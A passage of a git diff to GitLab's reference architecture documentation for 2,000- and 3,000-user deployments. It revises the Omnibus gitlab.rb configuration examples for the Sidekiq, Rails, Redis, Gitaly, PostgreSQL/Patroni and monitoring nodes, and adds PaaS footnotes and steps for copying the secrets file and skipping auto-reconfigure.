``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and - then replace the file of the same name on this server. If that file isn't on - this server, add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1837,28 +1851,19 @@ To configure the Sidekiq nodes, on each one: 1. Open `/etc/gitlab/gitlab.rb` with your editor: ```ruby - ######################################## - ##### Services Disabled ### - ######################################## - - nginx['enable'] = false - grafana['enable'] = false - prometheus['enable'] = false - alertmanager['enable'] = false + # Avoid running unnecessary services on the Sidekiq server gitaly['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = false - puma['enable'] = false - postgres_exporter['enable'] = false postgresql['enable'] = false redis['enable'] = false - redis_exporter['enable'] = false + puma['enable'] = false + gitlab_workhorse['enable'] = false + prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false gitlab_exporter['enable'] = false + nginx['enable'] = false - ######################################## - #### Redis ### - ######################################## - + # Redis ## Redis connection details ## First cluster that will host the cache gitlab_rails['redis_cache_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_FIRST_CLUSTER>@gitlab-redis-cache' @@ -1890,13 +1895,10 @@ To configure the Sidekiq nodes, on each one: {host: '10.6.0.83', port: 26379}, ] - ####################################### - ### Gitaly ### - ####################################### - - # git_data_dirs get configured for the Praefect virtual storage - # Address is Internal Load Balancer for Praefect - # Token is praefect_external_token + # Gitaly Cluster + ## git_data_dirs get configured for the Praefect virtual storage + ## Address is Internal Load Balancer for Praefect + ## Token is praefect_external_token git_data_dirs({ "default" => { "gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP @@ -1904,20 +1906,17 @@ To configure the Sidekiq nodes, on each one: } }) - ####################################### - ### Postgres ### - ####################################### + # PostgreSQL gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP gitlab_rails['db_port'] = 6432 gitlab_rails['db_password'] = '<postgresql_user_password>' gitlab_rails['db_adapter'] = 'postgresql' gitlab_rails['db_encoding'] = 'unicode' - # Prevent database migrations from running on upgrade automatically + ## Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false - ####################################### - ### Sidekiq configuration ### - ####################################### + # Sidekiq + sidekiq['enable'] = true sidekiq['listen_address'] = "0.0.0.0" # Set number of Sidekiq queue processes to the same number as available CPUs @@ -1926,9 +1925,7 @@ To configure the Sidekiq nodes, on each one: # Set number of Sidekiq threads per queue process to the recommend number of 10 sidekiq['max_concurrency'] = 10 - ####################################### - ### Monitoring configuration ### - ####################################### + # Monitoring consul['enable'] = true consul['monitoring_service_discovery'] = true @@ -1936,16 +1933,13 @@ To configure the Sidekiq nodes, on each one: retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Set the network addresses that the exporters will listen on + ## Set the network addresses that the exporters will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - # Rails Status for prometheus + ## Add the monitoring node's IP address to the monitoring whitelist gitlab_rails['monitoring_whitelist'] = ['10.6.0.151/32', '127.0.0.0/8'] - ############################# - ### Object storage ### - ############################# - + # Object Storage # This is an example for configuring Object Storage on GCP # Replace this config with your chosen Object Storage provider as desired gitlab_rails['object_store']['connection'] = { @@ -1960,11 +1954,26 @@ To configure the Sidekiq nodes, on each one: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" + ``` + +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure ``` -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. @@ -1997,9 +2006,6 @@ On each node perform the following: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. 1. Edit `/etc/gitlab/gitlab.rb` and use the following configuration. To maintain uniformity of links across nodes, the `external_url` @@ -2021,7 +2027,7 @@ On each node perform the following: }) ## Disable components that will not be on the GitLab application server - roles ['application_role'] + roles(['application_role']) gitaly['enable'] = false nginx['enable'] = true sidekiq['enable'] = false @@ -2094,9 +2100,15 @@ On each node perform the following: gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>" gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the `git_data_dirs` entry is configured with `tls` instead of `tcp`: @@ -2115,6 +2127,20 @@ On each node perform the following: sudo cp cert.pem /etc/gitlab/trusted-certs/ ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. If you're [using NFS](#configure-nfs-optional): 1. If necessary, install the NFS client utility packages using the following commands: @@ -2154,7 +2180,7 @@ On each node perform the following: registry['gid'] = 9002 ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. Confirm the node can connect to Gitaly: ```shell @@ -2218,52 +2244,30 @@ To configure the Monitoring node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page. -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - external_url 'http://gitlab.example.com' + roles(['monitoring_role', 'consul_role']) - # Disable all other services - alertmanager['enable'] = false - gitaly['enable'] = false - gitlab_exporter['enable'] = false - gitlab_workhorse['enable'] = false - nginx['enable'] = true - postgres_exporter['enable'] = false - postgresql['enable'] = false - redis['enable'] = false - redis_exporter['enable'] = false - sidekiq['enable'] = false - puma['enable'] = false - unicorn['enable'] = false - node_exporter['enable'] = false - gitlab_exporter['enable'] = false + external_url 'http://gitlab.example.com' - # Enable Prometheus - prometheus['enable'] = true + # Prometheus prometheus['listen_address'] = '0.0.0.0:9090' prometheus['monitor_kubernetes'] = false - # Enable Login form - grafana['disable_login_form'] = false - - # Enable Grafana - grafana['enable'] = true + # Grafana grafana['admin_password'] = '<grafana_password>' + grafana['disable_login_form'] = false # Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } - # Prevent database migrations from running on upgrade automatically - gitlab_rails['auto_migrate'] = false + # Nginx - For Grafana access + nginx['enable'] = true ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md index 69e261cfbe6..7db3a343e0b 100644 --- a/doc/administration/reference_architectures/2k_users.md +++ b/doc/administration/reference_architectures/2k_users.md @@ -18,20 +18,24 @@ For a full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |------------------------------------------|--------|-------------------------|-----------------|--------------|----------| -| Load balancer | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| PostgreSQL* | 1 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | -| Redis** | 1 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `m5.large` | `D2s v3` | +| Load balancer(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| PostgreSQL(1) | 1 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | +| Redis(2) | 1 | 1 vCPU, 3.75 GB memory | `n1-standard-1` | `m5.large` | `D2s v3` | | Gitaly | 1 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | | GitLab Rails | 2 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` | | Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Object storage | n/a | n/a | n/a | n/a | n/a | +| Object storage(4) | n/a | n/a | n/a | n/a | n/a | | NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +<!-- markdownlint-disable MD029 --> +1. Can be optionally run on reputable third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery. +2. Can be optionally run as reputable third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +3. Can be optionally run as reputable third party load balancing services (LB PaaS). AWS ELB is known to work. +4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work. +<!-- markdownlint-enable MD029 --> + NOTE: -Components marked with * can be optionally run on reputable -third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. -Components marked with ** can be optionally run on reputable -third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. ```plantuml @startuml 2k @@ -84,7 +88,7 @@ To set up GitLab and its components to accommodate up to 2,000 users: 1. [Configure Gitaly](#configure-gitaly), which provides access to the Git repositories. 1. [Configure the main GitLab Rails application](#configure-gitlab-rails) - to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend + to run Puma, Workhorse, GitLab Shell, and to serve all frontend requests (which include UI, API, and Git over HTTP/SSH). 1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab environment. @@ -265,10 +269,8 @@ further configuration steps. database. Example: `%w(123.123.123.123/32 123.123.123.234/32)` ```ruby - # Disable all components except PostgreSQL - roles ['postgres_role'] - patroni['enable'] = false - consul['enable'] = false + # Disable all components except PostgreSQL related ones + roles(['postgres_role']) prometheus['enable'] = false alertmanager['enable'] = false pgbouncer_exporter['enable'] = false @@ -295,6 +297,9 @@ further configuration steps. gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Note the PostgreSQL node's IP address or hostname, port, and plain text password. These will be necessary when configuring the [GitLab @@ -346,20 +351,18 @@ Omnibus: ```ruby ## Enable Redis redis['enable'] = true - - ## Disable all other services + + # Avoid running unnecessary services on the Redis server + gitaly['enable'] = false + postgresql['enable'] = false + puma['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - puma['enable'] = false - unicorn['enable'] = false - postgresql['enable'] = false - nginx['enable'] = false prometheus['enable'] = false alertmanager['enable'] = false - pgbouncer_exporter['enable'] = false - gitlab_exporter['enable'] = false - gitaly['enable'] = false grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false redis['bind'] = '0.0.0.0' redis['port'] = 6379 @@ -376,7 +379,11 @@ Omnibus: } ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Note the Redis node's IP address or hostname, port, and Redis password. These will be necessary when [configuring the GitLab application servers](#configure-gitlab-rails) later. @@ -455,16 +462,14 @@ To configure the Gitaly server, on the server node you want to use for Gitaly: # Avoid running unnecessary services on the Gitaly server postgresql['enable'] = false redis['enable'] = false - nginx['enable'] = false puma['enable'] = false - unicorn['enable'] = false sidekiq['enable'] = false gitlab_workhorse['enable'] = false - grafana['enable'] = false - - # If you run a separate monitoring node you can disable these services - alertmanager['enable'] = false prometheus['enable'] = false + alertmanager['enable'] = false + grafana['enable'] = false + gitlab_exporter['enable'] = false + nginx['enable'] = false # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false @@ -472,9 +477,11 @@ To configure the Gitaly server, on the server node you want to use for Gitaly: # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your 'front door' GitLab URL or an internal load # balancer. - # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server. gitlab_rails['internal_api_url'] = 'https://gitlab.example.com' + # Gitaly + gitaly['enable'] = true + # Make Gitaly accept connections on all network interfaces. You must use # firewalls to restrict access to this address/port. # Comment out following line if you only want to support TLS connections @@ -494,7 +501,11 @@ To configure the Gitaly server, on the server node you want to use for Gitaly: }) ``` -1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Confirm that Gitaly can perform callbacks to the internal API: ```shell @@ -629,7 +640,7 @@ On each node perform the following: }) ## Disable components that will not be on the GitLab application server - roles ['application_role'] + roles(['application_role']) gitaly['enable'] = false nginx['enable'] = true @@ -658,10 +669,7 @@ On each node perform the following: gitlab_rails['monitoring_whitelist'] = ['<MONITOR NODE IP>/32', '127.0.0.0/8'] nginx['status']['options']['allow'] = ['<MONITOR NODE IP>/32', '127.0.0.0/8'] - ############################# - ### Object storage ### - ############################# - + # Object Storage # This is an example for configuring Object Storage on GCP # Replace this config with your chosen Object Storage provider as desired gitlab_rails['object_store']['connection'] = { @@ -677,6 +685,13 @@ On each node perform the following: gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>" gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>" + gitlab_rails['backup_upload_connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>" + ## Uncomment and edit the following options if you have set up NFS ## ## Prevent GitLab from starting if NFS data mounts are not available @@ -710,7 +725,20 @@ On each node perform the following: sudo cp cert.pem /etc/gitlab/trusted-certs/ ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + +1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: + + ```shell + sudo touch /etc/gitlab/skip-auto-reconfigure + ``` + + Only a single designated node should handle migrations as detailed in the + [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section. + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Run `sudo gitlab-rake gitlab:gitaly:check` to confirm the node can connect to Gitaly. 1. Tail the logs to see the requests: @@ -718,11 +746,6 @@ On each node perform the following: sudo gitlab-ctl tail gitaly ``` -1. Save the `/etc/gitlab/gitlab-secrets.json` file from one of the two - application nodes and install it on the other application node and the - [Gitaly node](#configure-gitaly) and - [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). - When you specify `https` in the `external_url`, as in the previous example, GitLab expects that the SSL certificates are in `/etc/gitlab/ssl/`. If the certificates aren't present, NGINX will fail to start. For more information, see @@ -765,38 +788,21 @@ running [Prometheus](../monitoring/prometheus/index.md) and 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby + roles(['monitoring_role']) + external_url 'http://gitlab.example.com' - # Enable Prometheus - prometheus['enable'] = true + # Prometheus prometheus['listen_address'] = '0.0.0.0:9090' prometheus['monitor_kubernetes'] = false - # Enable Login form - grafana['disable_login_form'] = false - - # Enable Grafana + # Grafana grafana['enable'] = true - grafana['admin_password'] = 'toomanysecrets' + grafana['admin_password'] = '<grafana_password>' + grafana['disable_login_form'] = false - # Disable all other services - alertmanager['enable'] = false - gitaly['enable'] = false - gitlab_exporter['enable'] = false - gitlab_workhorse['enable'] = false + # Nginx - For Grafana access nginx['enable'] = true - postgres_exporter['enable'] = false - postgresql['enable'] = false - redis['enable'] = false - redis_exporter['enable'] = false - sidekiq['enable'] = false - puma['enable'] = false - unicorn['enable'] = false - node_exporter['enable'] = false - gitlab_exporter['enable'] = false - - # Prevent database migrations from running on upgrade automatically - gitlab_rails['auto_migrate'] = false ``` 1. Prometheus also needs some scrape configurations to pull all the data from the various diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md index d81f98a35d4..bca5e4c3dab 100644 --- a/doc/administration/reference_architectures/3k_users.md +++ b/doc/administration/reference_architectures/3k_users.md @@ -27,26 +27,31 @@ For a full list of reference architectures, see | Service | Nodes | Configuration | GCP | AWS | Azure | |--------------------------------------------|-------------|-----------------------|-----------------|--------------|----------| -| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Redis** | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | -| Consul* + Sentinel** | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| PostgreSQL* | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | -| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| External load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Redis(2) | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | +| Consul(1) + Sentinel(2) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| PostgreSQL(1) | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | +| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | | Gitaly | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` | | Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | +| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | | Sidekiq | 4 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` | | GitLab Rails | 3 | 8 vCPU, 7.2 GB memory | `n1-highcpu-8` | `c5.2xlarge` | `F8s v2` | | Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` | -| Object storage | n/a | n/a | n/a | n/a | n/a | +| Object storage(4) | n/a | n/a | n/a | n/a | n/a | | NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` | +<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix --> +<!-- markdownlint-disable MD029 --> +1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery. +2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work. +4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work. +<!-- markdownlint-enable MD029 --> + NOTE: -Components marked with * can be optionally run on reputable -third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work. -Components marked with ** can be optionally run on reputable -third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work. +For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices. ```plantuml @startuml 3k @@ -169,7 +174,7 @@ To set up GitLab and its components to accommodate up to 3,000 users: provides access to the Git repositories. 1. [Configure Sidekiq](#configure-sidekiq). 1. [Configure the main GitLab Rails application](#configure-gitlab-rails) - to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend + to run Puma, Workhorse, GitLab Shell, and to serve all frontend requests (which include UI, API, and Git over HTTP/SSH). 1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab environment. @@ -470,8 +475,8 @@ a node and change its status from primary to replica (and vice versa). 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_master_role' - roles ['redis_master_role'] + # Specify server role as 'redis_master_role' and enable Consul agent + roles(['redis_master_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -487,7 +492,6 @@ a node and change its status from primary to replica (and vice versa). redis['password'] = 'redis-password-goes-here' ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -508,6 +512,9 @@ a node and change its status from primary to replica (and vice versa). gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. You can specify multiple roles, like sentinel and Redis, as: @@ -546,8 +553,8 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - # Specify server role as 'redis_replica_role' - roles ['redis_replica_role'] + # Specify server role as 'redis_replica_role' and enable Consul agent + roles(['redis_replica_role', 'consul_role']) # IP address pointing to a local IP that the other machines can reach to. # You can also set bind to '0.0.0.0' which listen in all interfaces. @@ -570,7 +577,6 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s #redis['master_port'] = 6379 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -591,12 +597,15 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other replica nodes, and make sure to set up the IPs correctly. You can specify multiple roles, like sentinel and Redis, as: -`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about +`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about [roles](https://docs.gitlab.com/omnibus/roles/). These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after @@ -638,7 +647,7 @@ To configure the Sentinel: 1. Edit `/etc/gitlab/gitlab.rb` and add the contents: ```ruby - roles ['redis_sentinel_role', 'consul_role'] + roles(['redis_sentinel_role', 'consul_role']) # Must be the same in every sentinel node redis['master_name'] = 'gitlab-redis' @@ -702,7 +711,6 @@ To configure the Sentinel: # sentinel['failover_timeout'] = 60000 ## Enable service discovery for Prometheus - consul['enable'] = true consul['monitoring_service_discovery'] = true ## The IPs of the Consul server nodes @@ -720,7 +728,11 @@ To configure the Sentinel: gitlab_rails['auto_migrate'] = false ``` +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + 1. Go through the steps again for all the other Consul/Sentinel nodes, and make sure you set up the correct IPs. @@ -813,6 +825,15 @@ in the second step, do not supply the `EXTERNAL_URL` value. sudo gitlab-ctl pg-password-md5 pgbouncer ``` +1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default + username of `gitlab_replicator` (recommended). The command will request a password + and a confirmation. Use the value that is output by this command in the next step + as the value of `<postgresql_replication_password_hash>`: + + ```shell + sudo gitlab-ctl pg-password-md5 gitlab_replicator + ``` + 1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default username of `gitlab-consul` (recommended). The command will request a password and confirmation. Use the value that is output by this command in the next @@ -825,27 +846,28 @@ in the second step, do not supply the `EXTERNAL_URL` value. 1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section: ```ruby - # Disable all components except PostgreSQL, Patroni, and Consul - roles ['postgres_role'] - + # Disable all components except Patroni and Consul + roles(['patroni_role']) + # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' - # Enable Patroni - patroni['enable'] = true - # Set `max_wal_senders` to one more than the number of database nodes in the cluster. + # Sets `max_replication_slots` to double the number of database nodes. + # Patroni uses one extra slot per node when initiating the replication. + patroni['postgresql']['max_replication_slots'] = 6 + + # Set `max_wal_senders` to one more than the number of replication slots in the cluster. # This is used to prevent replication from using up all of the # available database connections. - patroni['postgresql']['max_wal_senders'] = 4 - patroni['postgresql']['max_replication_slots'] = 4 + patroni['postgresql']['max_wal_senders'] = 7 + # Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691. patroni['postgresql']['max_connections'] = 500 # Prevent database migrations from running on upgrade automatically gitlab_rails['auto_migrate'] = false - + # Configure the Consul agent - consul['enable'] = true consul['services'] = %w(postgresql) ## Enable service discovery for Prometheus consul['monitoring_service_discovery'] = true @@ -855,6 +877,8 @@ in the second step, do not supply the `EXTERNAL_URL` value. # # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>' + # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value + postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>' # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value postgresql['sql_user_password'] = '<postgresql_password_hash>' @@ -878,9 +902,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind` Like most failover handling methods, this has a small chance of leading to data loss. Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). -1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace - the file of the same name on this server. If that file is not on this server, - add the file from your Consul server to this server. +1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace + the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) 